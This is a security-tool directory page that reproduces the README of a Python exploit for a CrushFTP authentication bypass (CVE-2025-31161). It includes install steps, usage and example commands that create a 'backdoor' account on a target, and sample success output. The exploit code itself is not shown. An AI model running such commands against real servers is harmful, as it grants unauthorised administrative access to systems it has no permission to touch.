Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-31161 — 🛡️ CVE-2025-31161 - CrushFTP User Creation Authentication Bypass Exploit | Kitploit
Tools/GitHubGitHub/0xgh057r3c0n/cve-2025-31161
Authentication & AuthorizationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHub0xgh057r3c0n/cve-2025-31161

CVE-2025-31161

🛡️ CVE-2025-31161 - CrushFTP User Creation Authentication Bypass Exploit

View Repository
531 year agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-31161 - CrushFTP User Creation Authentication Bypass Exploit

CrushFTP Logo

📌 Description

This Python exploit targets CrushFTP servers vulnerable to CVE-2025-31161. The vulnerability allows unauthenticated user account creation by sending a crafted XML payload to the WebInterface, potentially resulting in full server compromise.


⚠️ Disclaimer

This tool is intended for educational and authorized security testing only.
Unauthorized use against systems you do not own or have explicit permission to test is illegal and unethical.


🧰 Requirements

  • Python 3
  • pip3
  • Python modules:
    • requests
    • colorama

✅ Install Python3 and pip3

Debian/Ubuntu:

root@kitploit:~
sudo apt update
sudo apt install python3 python3-pip -y

CentOS/RHEL:

root@kitploit:~
sudo yum install python3 python3-pip -y

macOS (with Homebrew):

root@kitploit:~
brew install python3

✅ Install Python dependencies

root@kitploit:~
pip3 install requests colorama

🔧 Usage

root@kitploit:~
python3 CVE-2025-31161.py --target_host <TARGET_IP> [--port <PORT>] [--target_user <ADMIN>] [--new_user <USERNAME>] [--password <PASSWORD>]

🔍 Example

root@kitploit:~
python3 CVE-2025-31161.py --target_host 192.168.1.100 --new_user backdoor --password P@ssw0rd!

🧪 Command-Line Options


🖥️ Sample Output

root@kitploit:~
[+] Preparing Payloads
  [-] Warming up the target...
  [-] Target is up and running
[+] Sending Account Create Request
  [!] User created successfully!

[+] Exploit Complete! You can now login with:
   [*] Username: AuthBypassAccount
   [*] Password: CorrectHorseBatteryStaple

👨‍💻 Author

Gaurav Bhattacharjee (G4UR4V007)


📄 License

This project is licensed under the MIT License.

Download Tool
ArgumentDescriptionDefault Value
--target_host(Required) IP or domain of target—
--portPort of CrushFTP WebInterface8080
--target_userAdmin username (used in payload)crushadmin
--new_userUsername for new unauthorized accountAuthBypassAccount
--passwordPassword for the new userCorrectHorseBatteryStaple